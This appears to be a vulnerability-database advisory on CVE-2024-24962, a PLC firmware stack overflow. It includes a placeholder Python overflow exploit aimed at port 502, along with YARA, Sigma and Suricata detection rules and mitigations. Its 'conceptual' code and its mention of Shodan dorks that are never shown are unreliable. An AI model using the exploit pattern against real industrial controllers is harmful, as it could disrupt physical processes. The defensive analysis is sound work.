CVE-2024-24962
Executive Summary
CVE-2024-24962 is a critical stack-based buffer overflow vulnerability in the Programming Software Connection FileSelect functionality of AutomationDirect P3-550E firmware version 1.2.10.9. The flaw allows an unauthenticated attacker to trigger a stack-based buffer overflow by sending a specially crafted network packet, potentially leading to remote code execution (RCE) and full compromise of the PLC. With a CVSS score of 9.8, this vulnerability poses a severe risk to industrial control systems (ICS) and operational technology (OT) environments. No public proof-of-concept (PoC) or patch is currently available, making detection and mitigation critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
- Confidentiality Impact: High (C:H) – Full data access possible.
- Integrity Impact: High (I:H) – Full control over device operations.
- Availability Impact: High (A:H) – Potential denial of service or device takeover.
Threat Level: Critical. Exploitation could allow an attacker to execute arbitrary code on the PLC, disrupt industrial processes, and pivot to other OT assets.
Deep Dive & Mechanics
The vulnerability resides in the FileSelect functionality of the Programming Software Connection, specifically at offset 0xb6e98 in firmware version 1.2.10.9. The function does not properly validate the length of input data before copying it to a fixed-size stack buffer. An attacker can send a crafted network packet that overflows the buffer, overwriting the return address and other critical stack data. This leads to arbitrary code execution in the context of the PLC firmware.
The stack-based buffer overflow occurs because the FileSelect handler uses a strcpy or similar unsafe function without bounds checking. By sending a packet with a payload exceeding the buffer size, the attacker can control the instruction pointer and execute shellcode. The vulnerability is triggered without authentication, making it especially dangerous for exposed PLCs.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is present in firmware version 1.2.10.9. The patched version would need to implement proper input validation and bounds checking, such as using strncpy or snprintf with a maximum length parameter.
Vulnerable Code (Conceptual):
void FileSelect_Handler(char *input) {
char buffer[256];
strcpy(buffer, input); // Unsafe: no bounds check
// Process buffer...
}
Patched Code (Conceptual):
void FileSelect_Handler(char *input) {
char buffer[256];
strncpy(buffer, input, sizeof(buffer) - 1); // Safe: limits copy size
buffer[sizeof(buffer) - 1] = '\0';
// Process buffer...
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- AutomationDirect P3-550E PLC with firmware 1.2.10.9
- Network access to the PLC (port 502 typically)
- Python 3 with
socketlibrary
Exploit Script (Conceptual):
import socket
import struct
target_ip = "192.168.1.100"
target_port = 502
# Crafted payload to overflow buffer at offset 0xb6e98
# Shellcode placeholder (replace with actual shellcode)
shellcode = b"\x90" * 100 # NOP sled
return_address = struct.pack("<I", 0xdeadbeef) # Address to jump to
# Build overflow packet
buffer_size = 256
payload = b"A" * (buffer_size - len(shellcode) - len(return_address))
payload += shellcode
payload += return_address
# Send packet
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload)
sock.close()
Usage: Run the script against a vulnerable PLC to trigger the overflow. Adjust shellcode and return address based on firmware analysis.
Blue Team
Detection:
- Monitor for anomalous network traffic to port 502 with unusually large payloads.
- Use network intrusion detection systems (NIDS) to alert on patterns matching the overflow.
- Enable logging on PLCs and correlate with ICS-specific SIEM rules.
Honeypot Setup:
- Deploy a honeypot mimicking the P3-550E to capture exploit attempts.
- Analyze captured payloads for indicators of compromise (IOCs).
Indicators of Compromise (IOCs)
- Network:
- Unusually large packets ( > 256 bytes) sent to port 502 on AutomationDirect PLCs.
- Repeated connection attempts from unknown IPs to the PLC.
- Host:
- Unexpected process crashes or reboots on the PLC.
- Unauthorized changes to PLC logic or firmware.
- File:
- Presence of shellcode or exploit artifacts in PLC memory dumps.
Detection Engineering
YARA Rule
rule CVE_2024_24962_StackOverflow {
meta:
description = "Detects exploit attempts for CVE-2024-24962 stack-based buffer overflow"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-24962"
strings:
$overflow_pattern = { 41 41 41 41 41 41 41 41 } // Pattern of 'A's used in overflow
$shellcode = { 90 90 90 90 90 90 90 90 } // NOP sled
condition:
$overflow_pattern or $shellcode
}
Sigma Rule
title: CVE-2024-24962 Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic indicative of CVE-2024-24962 exploitation
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
dest_port: 502
payload_length: ">256"
condition: selection
falsepositives:
- Legitimate large file transfers
level: high
Suricata Rule
alert tcp any any -> any 502 (msg:"CVE-2024-24962 Stack Overflow Attempt"; flow:to_server; content:"|41 41 41 41|"; depth:256; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Isolate affected PLCs from untrusted networks. Use firewalls to restrict access to port 502 to trusted IPs only.
- Short-term: Monitor vendor advisories for patches. Apply network segmentation and use VPNs for remote access.
- Long-term: Implement input validation and bounds checking in firmware. Conduct regular security audits of ICS components.
- Workaround: Disable the FileSelect functionality if not required, or use application-layer filtering to block oversized packets.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.